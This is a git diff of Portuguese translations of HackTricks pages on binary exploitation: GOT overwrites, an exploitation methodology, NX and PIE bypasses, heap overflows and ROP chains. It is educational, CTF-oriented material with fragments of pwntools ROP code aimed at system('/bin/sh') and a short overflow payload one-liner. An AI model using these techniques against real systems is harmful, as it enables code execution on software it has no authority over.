Translated ['src/binary-exploitation/arbitrary-write-2-exec/aw2exec-got-

src/binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md

@@ -26,7 +26,7 @@ Obtenha o endereço da tabela GOT com: **`objdump -s -j .got ./exec`**
 
 Observe como após **carregar** o **executável** no GEF você pode **ver** as **funções** que estão na **GOT**: `gef➤ x/20x 0xADDR_GOT`
 
-![](<../../images/image (620) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2) (2).png>)
+![](<../../images/image (620) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2) (2).png>)
 
 Usando o GEF, você pode **iniciar** uma sessão de **depuração** e executar **`got`** para ver a tabela got:
 
@@ -38,13 +38,13 @@ Em um binário, a GOT tem os **endereços para as funções ou** para a **seçã
 
 Idealmente, você irá **substituir** a **GOT** de uma **função** que está **prestes a ser chamada com parâmetros controlados por você** (assim você poderá controlar os parâmetros enviados para a função system).
 
-Se **`system`** **não for usado** pelo binário, a função system **não terá** uma entrada na PLT. Nesse cenário, você **precisará vazar primeiro o endereço** da função `system` e então sobrescrever a GOT para apontar para esse endereço.
+Se **`system`** **não for usado** pelo binário, a função system **não terá** uma entrada na PLT. Nesse cenário, você precisará **vazar primeiro o endereço** da função `system` e então sobrescrever a GOT para apontar para esse endereço.
 
 Você pode ver os endereços da PLT com **`objdump -j .plt -d ./vuln_binary`**
 
 ## Entradas da GOT libc
 
-A **GOT da libc** geralmente é compilada com **RELRO parcial**, tornando-a um bom alvo para isso, supondo que seja possível descobrir seu endereço ([**ASLR**](../common-binary-protections-and-bypasses/aslr/)).
+A **GOT da libc** geralmente é compilada com **RELRO parcial**, tornando-a um bom alvo para isso, supondo que seja possível descobrir seu endereço ([**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html)).
 
 Funções comuns da libc vão chamar **outras funções internas** cujas GOT poderiam ser sobrescritas para obter execução de código.
 
@@ -68,7 +68,7 @@ Além disso, se `puts` for usado com entrada do usuário, é possível sobrescre
 
 ## **Abusando da GOT do Heap**
 
-Uma maneira comum de obter RCE a partir de uma vulnerabilidade de heap é abusar de um fastbin para que seja possível adicionar a parte da tabela GOT no fast bin, de modo que sempre que esse chunk for alocado, será possível **sobrescrever o ponteiro de uma função, geralmente `free`**.\
+Uma maneira comum de obter RCE a partir de uma vulnerabilidade de heap é abusar de um fastbin para que seja possível adicionar a parte da tabela GOT no fast bin, assim sempre que esse chunk for alocado será possível **sobrescrever o ponteiro de uma função, geralmente `free`**.\
 Então, apontando `free` para `system` e liberando um chunk onde foi escrito `/bin/sh\x00` executará um shell.
 
 É possível encontrar um [**exemplo aqui**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/chunk_extend_overlapping/#hitcon-trainging-lab13)**.**

src/binary-exploitation/basic-stack-binary-exploitation-methodology/README.md

@@ -24,9 +24,88 @@ Com tantas técnicas, é bom ter um esquema de quando cada técnica será útil.
 
 Existem diferentes maneiras de você acabar controlando o fluxo de um programa:
 
-- [**Stack Overflows**](../stack-overflow/) sobrescrevendo o ponteiro de retorno da pilha ou o EBP -> ESP -> EIP.
+- [**Stack Overflows**](../stack-overflow/index.html) sobrescrevendo o ponteiro de retorno da pilha ou o EBP -> ESP -> EIP.
 - Pode ser necessário abusar de um [**Integer Overflows**](../integer-overflow.md) para causar o overflow.
 - Ou via **Arbitrary Writes + Write What Where to Execution**.
-- [**Format strings**](../format-strings/)**:** Abuse `printf` para escrever conteúdo arbitrário em endereços arbitrários.
+- [**Format strings**](../format-strings/index.html)**:** Abuse `printf` para escrever conteúdo arbitrário em endereços arbitrários.
 - [**Array Indexing**](../array-indexing.md): Abuse de um indexação mal projetada para conseguir controlar alguns arrays e obter uma escrita arbitrária.
-- Pode ser necessário abusar de
+- Pode ser necessário abusar de um [**Integer Overflows**](../integer-overflow.md) para causar o overflow.
+- **bof para WWW via ROP**: Abuse de um buffer overflow para construir um ROP e conseguir um WWW.
+
+Você pode encontrar as técnicas de **Write What Where to Execution** em:
+
+{{#ref}}
+../arbitrary-write-2-exec/
+{{#endref}}
+
+## Laços Eternos
+
+Algo a ser levado em conta é que geralmente **apenas uma exploração de uma vulnerabilidade pode não ser suficiente** para executar um exploit bem-sucedido, especialmente algumas proteções precisam ser contornadas. Portanto, é interessante discutir algumas opções para **tornar uma única vulnerabilidade explorável várias vezes** na mesma execução do binário:
+
+- Escrever em uma cadeia **ROP** o endereço da **função `main`** ou para o endereço onde a **vulnerabilidade** está ocorrendo.
+- Controlando uma cadeia ROP adequada, você pode ser capaz de realizar todas as ações nessa cadeia.
+- Escrever no **endereço `exit` no GOT** (ou qualquer outra função usada pelo binário antes de terminar) o endereço para **voltar à vulnerabilidade**.
+- Como explicado em [**.fini_array**](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md#eternal-loop)**,** armazene 2 funções aqui, uma para chamar a vulnerabilidade novamente e outra para chamar **`__libc_csu_fini`** que chamará novamente a função de `.fini_array`.
+
+## Objetivos de Exploração
+
+### Objetivo: Chamar uma Função Existente
+
+- [**ret2win**](#ret2win): Há uma função no código que você precisa chamar (talvez com alguns parâmetros específicos) para obter a bandeira.
+- Em um **bof regular sem** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) **e** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/index.html), você só precisa escrever o endereço no endereço de retorno armazenado na pilha.
+- Em um bof com [**PIE**](../common-binary-protections-and-bypasses/pie/index.html), você precisará contorná-lo.
+- Em um bof com [**canary**](../common-binary-protections-and-bypasses/stack-canaries/index.html), você precisará contorná-lo.
+- Se você precisar definir vários parâmetros para chamar corretamente a função **ret2win**, você pode usar:
+- Uma cadeia [**ROP**](#rop-and-ret2...-techniques) **se houver gadgets suficientes** para preparar todos os parâmetros.
+- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/index.html) (caso você possa chamar essa syscall) para controlar muitos registradores.
+- Gadgets de [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) e [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) para controlar vários registradores.
+- Via um [**Write What Where**](../arbitrary-write-2-exec/index.html), você poderia abusar de outras vulnerabilidades (não bof) para chamar a função **`win`**.
+- [**Pointers Redirecting**](../stack-overflow/pointer-redirecting.md): Caso a pilha contenha ponteiros para uma função que será chamada ou para uma string que será usada por uma função interessante (system ou printf), é possível sobrescrever esse endereço.
+- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) ou [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) podem afetar os endereços.
+- [**Uninitialized variables**](../stack-overflow/uninitialized-variables.md): Você nunca sabe.
+
+### Objetivo: RCE
+
+#### Via shellcode, se nx desativado ou misturando shellcode com ROP:
+
+- [**(Stack) Shellcode**](#stack-shellcode): Isso é útil para armazenar um shellcode na pilha antes ou depois de sobrescrever o ponteiro de retorno e então **pular para ele** para executá-lo:
+- **Em qualquer caso, se houver um** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/index.html)**,** em um bof regular você precisará contorná-lo (vazar).
+- **Sem** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **e** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md), é possível pular para o endereço da pilha, pois ele nunca mudará.
+- **Com** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html), você precisará de técnicas como [**ret2esp/ret2reg**](../rop-return-oriented-programing/ret2esp-ret2reg.md) para pular para ele.
+- **Com** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md), você precisará usar algum [**ROP**](../rop-return-oriented-programing/index.html) **para chamar `memprotect`** e tornar alguma página `rwx`, para então **armazenar o shellcode lá** (chamando read, por exemplo) e depois pular para lá.
+- Isso misturará shellcode com uma cadeia ROP.
+
+#### Via syscalls
+
+- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/index.html): Útil para chamar `execve` para executar comandos arbitrários. Você precisa ser capaz de encontrar os **gadgets para chamar a syscall específica com os parâmetros**.
+- Se [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) ou [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) estiverem habilitados, você precisará derrotá-los **para usar gadgets ROP** do binário ou bibliotecas.
+- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/index.html) pode ser útil para preparar o **ret2execve**.
+- Gadgets de [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) e [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) para controlar vários registradores.
+
+#### Via libc
+
+- [**Ret2lib**](../rop-return-oriented-programing/ret2lib/index.html): Útil para chamar uma função de uma biblioteca (geralmente de **`libc`**) como **`system`** com alguns argumentos preparados (por exemplo, `'/bin/sh'`). Você precisa que o binário **carregue a biblioteca** com a função que você gostaria de chamar (libc geralmente).
+- Se **compilado estaticamente e sem** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html), o **endereço** de `system` e `/bin/sh` não vão mudar, então é possível usá-los estaticamente.
+- **Sem** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **e sabendo a versão da libc** carregada, o **endereço** de `system` e `/bin/sh` não vão mudar, então é possível usá-los estaticamente.
+- Com [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **mas sem** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html)**, sabendo a libc e com o binário usando a função `system`**, é possível **`ret` para o endereço de system no GOT** com o endereço de `'/bin/sh'` no parâmetro (você precisará descobrir isso).
+- Com [ASLR](../common-binary-protections-and-bypasses/aslr/index.html) mas sem [PIE](../common-binary-protections-and-bypasses/pie/index.html), sabendo a libc e **sem o binário usar a função `system`**:
+- Use [**`ret2dlresolve`**](../rop-return-oriented-programing/ret2dlresolve.md) para resolver o endereço de `system` e chamá-lo.
+- **Contornar** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) e calcular o endereço de `system` e `'/bin/sh'` na memória.
+- **Com** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **e** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) **e sem saber a libc**: Você precisa:
+- Contornar [**PIE**](../common-binary-protections-and-bypasses/pie/index.html).
+- Encontrar a **versão da `libc`** usada (vazar alguns endereços de função).
+- Verificar os **cenários anteriores com ASLR** para continuar.
+
+#### Via EBP/RBP
+
+- [**Stack Pivoting / EBP2Ret / EBP Chaining**](../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md): Controlar o ESP para controlar RET através do EBP armazenado na pilha.
+- Útil para **off-by-one** stack overflows.
+- Útil como uma maneira alternativa de acabar controlando o EIP enquanto abusa do EIP para construir o payload na memória e depois pulando para ele via EBP.
+
+#### Diversos
+
+- [**Pointers Redirecting**](../stack-overflow/pointer-redirecting.md): Caso a pilha contenha ponteiros para uma função que será chamada ou para uma string que será usada por uma função interessante (system ou printf), é possível sobrescrever esse endereço.
+- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) ou [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) podem afetar os endereços.
+- [**Uninitialized variables**](../stack-overflow/uninitialized-variables.md): Você nunca sabe.
+
+{{#include ../../banners/hacktricks-training.md}}

src/binary-exploitation/common-binary-protections-and-bypasses/no-exec-nx.md

@@ -4,13 +4,13 @@
 
 ## Informações Básicas
 
-O **bit No-Execute (NX)**, também conhecido como **Execute Disable (XD)** na terminologia da Intel, é um recurso de segurança baseado em hardware projetado para **mitigar** os efeitos de ataques de **buffer overflow**. Quando implementado e habilitado, ele distingue entre regiões de memória que são destinadas a **código executável** e aquelas destinadas a **dados**, como a **pilha** e o **heap**. A ideia central é impedir que um atacante execute código malicioso através de vulnerabilidades de buffer overflow, colocando o código malicioso na pilha, por exemplo, e direcionando o fluxo de execução para ele.
+O **No-Execute (NX)** bit, também conhecido como **Execute Disable (XD)** na terminologia da Intel, é um recurso de segurança baseado em hardware projetado para **mitigar** os efeitos de ataques de **buffer overflow**. Quando implementado e ativado, ele distingue entre regiões de memória que são destinadas a **código executável** e aquelas destinadas a **dados**, como a **pilha** e o **heap**. A ideia central é impedir que um atacante execute código malicioso através de vulnerabilidades de buffer overflow, colocando o código malicioso na pilha, por exemplo, e direcionando o fluxo de execução para ele.
 
 ## Bypasses
 
-- É possível usar técnicas como [**ROP**](../rop-return-oriented-programing/) **para contornar** essa proteção executando pedaços de código executável já presentes no binário.
-- [**Ret2libc**](../rop-return-oriented-programing/ret2lib/)
-- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/)
+- É possível usar técnicas como [**ROP**](../rop-return-oriented-programing/index.html) **para contornar** essa proteção executando pedaços de código executável já presentes no binário.
+- [**Ret2libc**](../rop-return-oriented-programing/ret2lib/index.html)
+- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/index.html)
 - **Ret2...**
 
 {{#include ../../banners/hacktricks-training.md}}

src/binary-exploitation/common-binary-protections-and-bypasses/pie/README.md

@@ -8,14 +8,14 @@ Um binário compilado como PIE, ou **Executável Independente de Posição**, si
 
 O truque para explorar esses binários está em explorar os **endereços relativos**—os deslocamentos entre partes do programa permanecem os mesmos, mesmo que as localizações absolutas mudem. Para **burlar o PIE, você só precisa vazar um endereço**, tipicamente da **pilha** usando vulnerabilidades como ataques de string de formato. Uma vez que você tenha um endereço, pode calcular outros por seus **deslocamentos fixos**.
 
-Uma dica útil na exploração de binários PIE é que seu **endereço base normalmente termina em 000** devido às páginas de memória serem as unidades de randomização, com tamanho de 0x1000 bytes. Este alinhamento pode ser uma **verificação crítica se um exploit não está funcionando** como esperado, indicando se o endereço base correto foi identificado.\
+Uma dica útil na exploração de binários PIE é que seu **endereço base geralmente termina em 000** devido às páginas de memória serem as unidades de randomização, com tamanho de 0x1000 bytes. Este alinhamento pode ser uma **verificação crítica se um exploit não está funcionando** como esperado, indicando se o endereço base correto foi identificado.\
 Ou você pode usar isso para seu exploit, se você vazar que um endereço está localizado em **`0x649e1024`** você sabe que o **endereço base é `0x649e1000`** e a partir daí você pode apenas **calcular deslocamentos** de funções e locais.
 
 ## Bypasses
 
-Para burlar o PIE, é necessário **vazar algum endereço do binário carregado**, existem algumas opções para isso:
+Para burlar o PIE é necessário **vazar algum endereço do binário carregado**, existem algumas opções para isso:
 
-- **ASLR desativado**: Se o ASLR estiver desativado, um binário compilado com PIE sempre **será carregado no mesmo endereço**, portanto **o PIE será inútil** já que os endereços dos objetos sempre estarão no mesmo lugar.
+- **ASLR Desativado**: Se o ASLR estiver desativado, um binário compilado com PIE sempre **será carregado no mesmo endereço**, portanto **o PIE será inútil** já que os endereços dos objetos sempre estarão no mesmo lugar.
 - Ser **dado** o vazamento (comum em desafios fáceis de CTF, [**ver este exemplo**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-exploit))
 - **Forçar valores de EBP e EIP** na pilha até que você vaze os corretos:
 
@@ -23,7 +23,7 @@ Para burlar o PIE, é necessário **vazar algum endereço do binário carregado*
 bypassing-canary-and-pie.md
 {{#endref}}
 
-- Usar uma vulnerabilidade de **leitura arbitrária** como [**string de formato**](../../format-strings/) para vazar um endereço do binário (por exemplo, da pilha, como na técnica anterior) para obter a base do binário e usar deslocamentos a partir daí. [**Encontre um exemplo aqui**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass).
+- Usar uma vulnerabilidade de **leitura arbitrária** como [**string de formato**](../../format-strings/index.html) para vazar um endereço do binário (por exemplo, da pilha, como na técnica anterior) para obter a base do binário e usar deslocamentos a partir daí. [**Encontre um exemplo aqui**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass).
 
 ## Referências
 

src/binary-exploitation/libc-heap/heap-overflow.md

@@ -4,9 +4,9 @@
 
 ## Informações Básicas
 
-Um heap overflow é como um [**stack overflow**](../stack-overflow/), mas no heap. Basicamente, isso significa que algum espaço foi reservado no heap para armazenar alguns dados e **os dados armazenados eram maiores do que o espaço reservado.**
+Um heap overflow é como um [**stack overflow**](../stack-overflow/index.html), mas no heap. Basicamente, isso significa que algum espaço foi reservado no heap para armazenar alguns dados e **os dados armazenados eram maiores do que o espaço reservado.**
 
-Em stack overflows, sabemos que alguns registradores, como o ponteiro de instrução ou o quadro de pilha, serão restaurados da pilha e pode ser possível abusar disso. No caso de heap overflows, **não há nenhuma informação sensível armazenada por padrão** no chunk do heap que pode ser transbordado. No entanto, pode haver informações sensíveis ou ponteiros, então a **criticidade** dessa vulnerabilidade **depende** de **quais dados podem ser sobrescritos** e como um atacante poderia abusar disso.
+Em stack overflows, sabemos que alguns registradores, como o ponteiro de instrução ou o quadro de pilha, serão restaurados da pilha e isso pode ser possível de abusar. No caso de heap overflows, **não há nenhuma informação sensível armazenada por padrão** no chunk do heap que pode ser transbordado. No entanto, pode haver informações sensíveis ou ponteiros, então a **criticidade** dessa vulnerabilidade **depende** de **quais dados podem ser sobrescritos** e como um atacante poderia abusar disso.
 
 > [!TIP]
 > Para encontrar offsets de overflow, você pode usar os mesmos padrões que em [**stack overflows**](../stack-overflow/index.html#finding-stack-overflows-offsets).
@@ -19,23 +19,23 @@ No entanto, no caso de um heap overflow, a memória usada não é linear, mas **
 
 Uma das técnicas usadas para isso é **Heap Grooming**, que é usada, por exemplo, [**neste post**](https://azeria-labs.com/grooming-the-ios-kernel-heap/). No post, é explicado como, quando no kernel do iOS, uma zona fica sem memória para armazenar chunks de memória, ela a expande por uma página do kernel, e essa página é dividida em chunks dos tamanhos esperados que seriam usados em ordem (até a versão 9.2 do iOS, depois esses chunks são usados de maneira aleatória para dificultar a exploração desses ataques).
 
-Portanto, no post anterior onde um heap overflow está acontecendo, para forçar o objeto transbordado a colidir com uma ordem de vítima, vários **`kallocs` são forçados por várias threads para tentar garantir que todos os chunks livres sejam preenchidos e que uma nova página seja criada**.
+Portanto, no post anterior onde um heap overflow está acontecendo, para forçar o objeto transbordado a colidir com uma ordem de vítima, vários **`kallocs` são forçados por vários threads para tentar garantir que todos os chunks livres sejam preenchidos e que uma nova página seja criada**.
 
 Para forçar esse preenchimento com objetos de um tamanho específico, a **alocação fora da linha associada a um mach port do iOS** é um candidato ideal. Ao elaborar o tamanho da mensagem, é possível especificar exatamente o tamanho da alocação `kalloc` e, quando o mach port correspondente é destruído, a alocação correspondente será imediatamente liberada de volta para `kfree`.
 
-Então, alguns desses espaços reservados podem ser **liberados**. A **lista livre `kalloc.4096` libera elementos em uma ordem de último a primeiro**, o que basicamente significa que, se alguns espaços reservados forem liberados e a exploração tentar alocar vários objetos de vítima enquanto tenta alocar o objeto vulnerável ao overflow, é provável que esse objeto seja seguido por um objeto de vítima.
+Então, alguns desses espaços reservados podem ser **liberados**. A **lista livre `kalloc.4096` libera elementos em uma ordem de último a primeiro**, o que basicamente significa que se alguns espaços reservados forem liberados e a exploração tentar alocar vários objetos de vítima enquanto tenta alocar o objeto vulnerável ao overflow, é provável que esse objeto seja seguido por um objeto de vítima.
 
 ### Exemplo libc
 
 [**Nesta página**](https://guyinatuxedo.github.io/27-edit_free_chunk/heap_consolidation_explanation/index.html) é possível encontrar uma emulação básica de Heap overflow que mostra como sobrescrever o bit de uso anterior do próximo chunk e a posição do tamanho anterior é possível **consolidar um chunk usado** (fazendo-o pensar que está não utilizado) e **então alocá-lo novamente**, podendo sobrescrever dados que estão sendo usados em um ponteiro diferente também.
 
-Outro exemplo de [**protostar heap 0**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap0/index.html) mostra um exemplo muito básico de um CTF onde um **heap overflow** pode ser abusado para chamar a função vencedora para **obter a bandeira**.
+Outro exemplo do [**protostar heap 0**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap0/index.html) mostra um exemplo muito básico de um CTF onde um **heap overflow** pode ser abusado para chamar a função vencedora para **obter a bandeira**.
 
-No exemplo [**protostar heap 1**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap1/index.html), é possível ver como abusar de um buffer overflow é possível **sobrescrever em um chunk próximo um endereço** onde **dados arbitrários do usuário** serão escritos.
+No exemplo do [**protostar heap 1**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap1/index.html), é possível ver como abusar de um buffer overflow é possível **sobrescrever em um chunk próximo um endereço** onde **dados arbitrários do usuário** serão escritos.
 
 ### Exemplo ARM64
 
-Na página [https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/](https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/) você pode encontrar um exemplo de heap overflow onde um comando que será executado é armazenado no chunk seguinte do chunk transbordado. Assim, é possível modificar o comando executado sobrescrevendo-o com uma exploração fácil, como:
+Na página [https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/](https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/) você pode encontrar um exemplo de heap overflow onde um comando que será executado é armazenado no seguinte chunk do chunk transbordado. Assim, é possível modificar o comando executado sobrescrevendo-o com uma exploração fácil, como:
 ```bash
 python3 -c 'print("/"*0x400+"/bin/ls\x00")' > hax.txt
 ```

src/binary-exploitation/rop-return-oriented-programing/README.md

@@ -4,12 +4,12 @@
 
 ## **Informações Básicas**
 
-**Programação Orientada a Retorno (ROP)** é uma técnica avançada de exploração usada para contornar medidas de segurança como **No-Execute (NX)** ou **Prevenção de Execução de Dados (DEP)**. Em vez de injetar e executar shellcode, um atacante aproveita pedaços de código já presentes no binário ou em bibliotecas carregadas, conhecidos como **"gadgets"**. Cada gadget normalmente termina com uma instrução `ret` e realiza uma pequena operação, como mover dados entre registradores ou realizar operações aritméticas. Ao encadear esses gadgets, um atacante pode construir um payload para realizar operações arbitrárias, contornando efetivamente as proteções NX/DEP.
+**Programação Orientada a Retorno (ROP)** é uma técnica avançada de exploração usada para contornar medidas de segurança como **No-Execute (NX)** ou **Data Execution Prevention (DEP)**. Em vez de injetar e executar shellcode, um atacante aproveita pedaços de código já presentes no binário ou em bibliotecas carregadas, conhecidos como **"gadgets"**. Cada gadget normalmente termina com uma instrução `ret` e realiza uma pequena operação, como mover dados entre registradores ou realizar operações aritméticas. Ao encadear esses gadgets, um atacante pode construir um payload para realizar operações arbitrárias, efetivamente contornando as proteções NX/DEP.
 
 ### Como o ROP Funciona
 
-1. **Sequestro de Fluxo de Controle**: Primeiro, um atacante precisa sequestrar o fluxo de controle de um programa, tipicamente explorando um estouro de buffer para sobrescrever um endereço de retorno salvo na pilha.
-2. **Encadeamento de Gadgets**: O atacante então seleciona e encadeia cuidadosamente gadgets para realizar as ações desejadas. Isso pode envolver a configuração de argumentos para uma chamada de função, chamando a função (por exemplo, `system("/bin/sh")`), e lidando com qualquer limpeza ou operações adicionais necessárias.
+1. **Sequestro de Fluxo de Controle**: Primeiro, um atacante precisa sequestrar o fluxo de controle de um programa, tipicamente explorando um buffer overflow para sobrescrever um endereço de retorno salvo na pilha.
+2. **Encadeamento de Gadgets**: O atacante então seleciona e encadeia cuidadosamente gadgets para realizar as ações desejadas. Isso pode envolver configurar argumentos para uma chamada de função, chamar a função (por exemplo, `system("/bin/sh")`), e lidar com qualquer limpeza ou operações adicionais necessárias.
 3. **Execução do Payload**: Quando a função vulnerável retorna, em vez de retornar a um local legítimo, começa a executar a cadeia de gadgets.
 
 ### Ferramentas
@@ -18,9 +18,9 @@ Normalmente, gadgets podem ser encontrados usando [**ROPgadget**](https://github
 
 ## Exemplo de Cadeia ROP em x86
 
-### **x86 (32-bit) Convenções de Chamada**
+### **Convenções de Chamada x86 (32-bit)**
 
-- **cdecl**: O chamador limpa a pilha. Os argumentos da função são empurrados para a pilha em ordem reversa (da direita para a esquerda). **Os argumentos são empurrados para a pilha da direita para a esquerda.**
+- **cdecl**: O chamador limpa a pilha. Os argumentos da função são empilhados na pilha em ordem reversa (da direita para a esquerda). **Os argumentos são empilhados da direita para a esquerda.**
 - **stdcall**: Semelhante ao cdecl, mas o chamado é responsável por limpar a pilha.
 
 ### **Encontrando Gadgets**
@@ -29,7 +29,7 @@ Primeiro, vamos supor que identificamos os gadgets necessários dentro do binár
 
 - `pop eax; ret`: Este gadget remove o valor do topo da pilha para o registrador `EAX` e então retorna, permitindo-nos controlar `EAX`.
 - `pop ebx; ret`: Semelhante ao acima, mas para o registrador `EBX`, permitindo controle sobre `EBX`.
-- `mov [ebx], eax; ret`: Move o valor em `EAX` para a localização de memória apontada por `EBX` e então retorna. Isso é frequentemente chamado de **gadget write-what-where**.
+- `mov [ebx], eax; ret`: Move o valor em `EAX` para o local de memória apontado por `EBX` e então retorna. Isso é frequentemente chamado de **gadget write-what-where**.
 - Além disso, temos o endereço da função `system()` disponível.
 
 ### **Cadeia ROP**
@@ -37,7 +37,7 @@ Primeiro, vamos supor que identificamos os gadgets necessários dentro do binár
 Usando **pwntools**, preparamos a pilha para a execução da cadeia ROP da seguinte forma, visando executar `system('/bin/sh')`, note como a cadeia começa com:
 
 1. Uma instrução `ret` para fins de alinhamento (opcional)
-2. Endereço da função `system` (supondo ASLR desativado e libc conhecido, mais informações em [**Ret2lib**](ret2lib/))
+2. Endereço da função `system` (supondo ASLR desativado e libc conhecida, mais informações em [**Ret2lib**](ret2lib/index.html))
 3. Placeholder para o endereço de retorno da `system()`
 4. Endereço da string `"/bin/sh"` (parâmetro para a função system)
 ```python
@@ -75,24 +75,24 @@ p.interactive()
 ```
 ## Cadeia ROP em x64 Exemplo
 
-### **Convenções de chamada x64 (64 bits)**
+### **x64 (64 bits) Convenções de chamada**
 
-- Usa a convenção de chamada **System V AMD64 ABI** em sistemas Unix-like, onde os **seis primeiros argumentos inteiros ou ponteiros são passados nos registradores `RDI`, `RSI`, `RDX`, `RCX`, `R8` e `R9`**. Argumentos adicionais são passados na pilha. O valor de retorno é colocado em `RAX`.
+- Usa a convenção de chamada **System V AMD64 ABI** em sistemas semelhantes ao Unix, onde os **seis primeiros argumentos inteiros ou ponteiros são passados nos registradores `RDI`, `RSI`, `RDX`, `RCX`, `R8` e `R9`**. Argumentos adicionais são passados na pilha. O valor de retorno é colocado em `RAX`.
 - A convenção de chamada **Windows x64** usa `RCX`, `RDX`, `R8` e `R9` para os quatro primeiros argumentos inteiros ou ponteiros, com argumentos adicionais passados na pilha. O valor de retorno é colocado em `RAX`.
-- **Registradores**: os registradores de 64 bits incluem `RAX`, `RBX`, `RCX`, `RDX`, `RSI`, `RDI`, `RBP`, `RSP` e `R8` a `R15`.
+- **Registradores**: registradores de 64 bits incluem `RAX`, `RBX`, `RCX`, `RDX`, `RSI`, `RDI`, `RBP`, `RSP` e `R8` a `R15`.
 
 #### **Encontrando Gadgets**
 
 Para nosso propósito, vamos nos concentrar em gadgets que nos permitirão definir o registrador **RDI** (para passar a string **"/bin/sh"** como um argumento para **system()**) e então chamar a função **system()**. Vamos assumir que identificamos os seguintes gadgets:
 
 - **pop rdi; ret**: Puxa o valor do topo da pilha para **RDI** e então retorna. Essencial para definir nosso argumento para **system()**.
-- **ret**: Um retorno simples, útil para alinhamento da pilha em alguns cenários.
+- **ret**: Um retorno simples, útil para alinhamento de pilha em alguns cenários.
 
 E sabemos o endereço da função **system()**.
 
 ### **Cadeia ROP**
 
-Abaixo está um exemplo usando **pwntools** para configurar e executar uma cadeia ROP com o objetivo de executar **system('/bin/sh')** em **x64**:
+Abaixo está um exemplo usando **pwntools** para configurar e executar uma cadeia ROP visando executar **system('/bin/sh')** em **x64**:
 ```python
 from pwn import *
 
@@ -135,7 +135,7 @@ Neste exemplo:
 
 ### Alinhamento da Pilha
 
-**O x86-64 ABI** garante que a **pilha esteja alinhada em 16 bytes** quando uma **instrução de chamada** é executada. **LIBC**, para otimizar o desempenho, **usa instruções SSE** (como **movaps**) que requerem esse alinhamento. Se a pilha não estiver alinhada corretamente (significando que **RSP** não é um múltiplo de 16), chamadas para funções como **system** falharão em uma **cadeia ROP**. Para corrigir isso, basta adicionar um **gadget ret** antes de chamar **system** em sua cadeia ROP.
+**O ABI x86-64** garante que a **pilha esteja alinhada em 16 bytes** quando uma **instrução de chamada** é executada. **LIBC**, para otimizar o desempenho, **usa instruções SSE** (como **movaps**) que requerem esse alinhamento. Se a pilha não estiver alinhada corretamente (significando que **RSP** não é um múltiplo de 16), chamadas para funções como **system** falharão em uma **cadeia ROP**. Para corrigir isso, basta adicionar um **gadget ret** antes de chamar **system** em sua cadeia ROP.
 
 ## Principal diferença entre x86 e x64
 
@@ -144,7 +144,7 @@ Neste exemplo:
 
 ## Exemplo de cadeia ROP em ARM64
 
-### **Noções Básicas de ARM64 & Convenções de Chamada**
+### **Fundamentos do ARM64 & Convenções de Chamada**
 
 Verifique a página a seguir para essas informações:
 
@@ -154,8 +154,8 @@ Verifique a página a seguir para essas informações:
 
 ## Proteções Contra ROP
 
-- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **&** [**PIE**](../common-binary-protections-and-bypasses/pie/): Essas proteções dificultam o uso de ROP, pois os endereços dos gadgets mudam entre as execuções.
-- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/): Em um BOF, é necessário contornar o armazenamento do canário da pilha para sobrescrever ponteiros de retorno e abusar de uma cadeia ROP.
+- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **&** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html): Essas proteções dificultam o uso de ROP, pois os endereços dos gadgets mudam entre as execuções.
